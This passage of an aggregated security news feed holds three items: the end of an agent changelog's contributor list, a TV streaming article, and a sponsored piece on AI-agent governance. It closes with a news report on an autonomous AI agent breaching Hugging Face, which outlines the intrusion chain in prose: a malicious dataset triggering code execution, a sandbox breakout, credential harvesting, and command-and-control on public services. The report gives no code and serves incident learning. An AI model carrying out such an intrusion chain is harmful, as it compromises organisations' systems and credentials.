data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
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<title><![CDATA[Heartland Seasons 19 and 20 Netflix Release Date: Everything We Know]]></title>
<description><![CDATA[Heartland Season 19 has started reaching Netflix in several countries, although viewers in the United States still face a much longer wait. Season 20 is also confirmed, but its Netflix release remains further away.



Here are the details:




Genre: Family drama



Season 19 episodes: 10



Seas...]]></description>
<link>https://tsecurity.de/de/3681864/ios-mac-os/heartland-seasons-19-and-20-netflix-release-date-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681864/ios-mac-os/heartland-seasons-19-and-20-netflix-release-date-everything-we-know/</guid>
<pubDate>Mon, 20 Jul 2026 19:38:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Heartland Season 19 has started reaching Netflix in several countries, although viewers in the United States still face a much longer wait. Season 20 is also confirmed, but its Netflix release remains further away.



Here are the details:




Genre: Family drama



Season 19 episodes: 10



Season 19 Canadian premiere: October 5, 2025



Season 20 Canadian release: Fall 2026



Where it airs first: CBC and CBC Gem in Canada




When Will Heartland Season 19 Be on Netflix?



Netflix added Heartland Season 19 in several international regions around March 17, 2026. However, availability varies between countries because separate broadcasters and streaming platforms control the show’s distribution rights.



Netflix subscribers in the United States should expect a longer delay. UP Faith &amp; Family currently holds the first streaming rights for Season 19 in the country, while UPtv began broadcasting the season on March 19, 2026. The full season is already available through UP Faith &amp; Family.



Because UP’s exclusivity period generally lasts around one year, Season 19 will probably arrive on Netflix US between early and summer 2027. Netflix has not announced an official date, so this window remains an estimate based on the show’s existing release pattern.



What Happens in Heartland Season 19?



Spoilers ahead: Season 19 returns to Amy Fleming and her family as they protect Heartland Ranch while facing new personal and professional pressures. Amy continues helping troubled horses, although changes around the ranch force her to reconsider what she wants from her future.



The season also follows Lou, Jack, Tim and the younger members of the family as new relationships, responsibilities and difficult choices reshape life in Hudson.



Earlier seasons followed Amy’s journey from a grieving teenager into an experienced horse trainer and mother. The series has continued exploring family, loss, recovery and the challenges of keeping the ranch together.



When Will Heartland Season 20 Be on Netflix?



Heartland Season 20 will premiere on CBC and CBC Gem in fall 2026. The new season marks two decades of the long-running Canadian drama.



International Netflix regions will probably receive Season 20 sometime in 2027. US viewers may need to wait until 2028 because the season must first complete its Canadian run and UP Faith &amp; Family exclusivity period.



Netflix release dates will continue to vary by country. Are you waiting for Season 19 on Netflix, or have you already watched the latest events at Heartland Ranch? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[AI confidence just dropped 17 points in six months. That’s actually great news.]]></title>
<description><![CDATA[Presented by JumpCloudThe organizations losing confidence in AI are the ones most likely to get it right.Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.We r...]]></description>
<link>https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by JumpCloud</i></p><hr><p><b><i>The organizations losing confidence in AI are the ones most likely to get it right.</i></b></p><p>Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. <a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><u>Today that number is 23%</u></a>. Before you read that as a setback, consider what it actually reflects.</p><p>We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.</p><p>That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.</p><h2>Deployment was the easy part</h2><p>84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.</p><p>In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.</p><p>The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.</p><h2>The gap between perception and reality is where risk accumulates</h2><p>The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.</p><p>The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.</p><p>The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.</p><h2>The governance gap has a specific shape</h2><p>The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.</p><p>Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.</p><p>The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.</p><h2>What the confidence drop is actually telling us</h2><p>When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.</p><p>The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.</p><p>84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.</p><p><i>JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available </i><a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><i><u>here</u></i></a><i>. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.</i></p><p><i>Rajat Bhargava is CEO and Co-founder at JumpCloud.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of 